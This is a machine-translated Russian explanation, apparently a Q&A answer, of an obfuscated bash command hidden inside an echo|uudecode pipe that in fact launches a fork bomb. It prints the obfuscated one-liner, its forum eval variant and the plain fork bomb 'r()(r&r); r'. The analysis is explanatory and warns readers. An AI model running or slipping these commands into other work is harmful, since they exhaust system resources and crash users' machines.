Сначала давайте посмотрим на всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Он содержит строку в двойных кавычках, которая отображается в uudecode
. Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Если мы посмотрим на то, что в нем, мы увидим три команды:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Выполняя раскладку по средней команде, мы имеем:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.
Важна вторая строка: она определяет функцию, r
которая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.
Третья линия бежит r
, начиная бомбу вилки.
Остальная часть кода, за пределами строки в кавычках, просто бессмысленна для запутывания.
Как выполнить команду безопасно
Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью FUNCNEST
переменной bash . Здесь мы устанавливаем его, 2
и это останавливает рекурсию:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Сообщения об ошибках выше , показывает , что (а) команду нонсенса rYWdl
и Y29j
не будет найдено, (б) вилка бомба получает многократно остановленные FUNCNEST, и (с) на выходе echo
не начинается с , begin
и, следовательно, не является действительным входом для uudecode
.
Вилочная бомба в простейшем виде
Как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как показывают njzk2 и gerrit, это будет выглядеть так:
echo "`r()(r&r);r`"
Мы можем упростить это еще дальше:
r()(r&r); r
Это состоит из двух утверждений: одно определяет функцию fork-bomb r
и второе работает r
.
Весь другой код, в том числе и канал uudecode
, был там только для маскировки и неверного направления.
Оригинальная форма имела еще один слой неверного направления
ОП предоставил ссылку на обсуждение на форуме, на котором появился этот код. Как представлено там, код выглядел следующим образом:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Обратите внимание на один из первых комментариев об этом коде:
Я влюбился в это. Скопировал только ту часть, которая перекликается и перекодирует, но все же получил бомбу
В форме на доске объявлений можно наивно полагать, что проблемой будет eval
утверждение, работающее на выходе uudecode
. Это может привести к мысли, что удаление eval
решит проблему. Как мы видели выше, это ложно и опасно.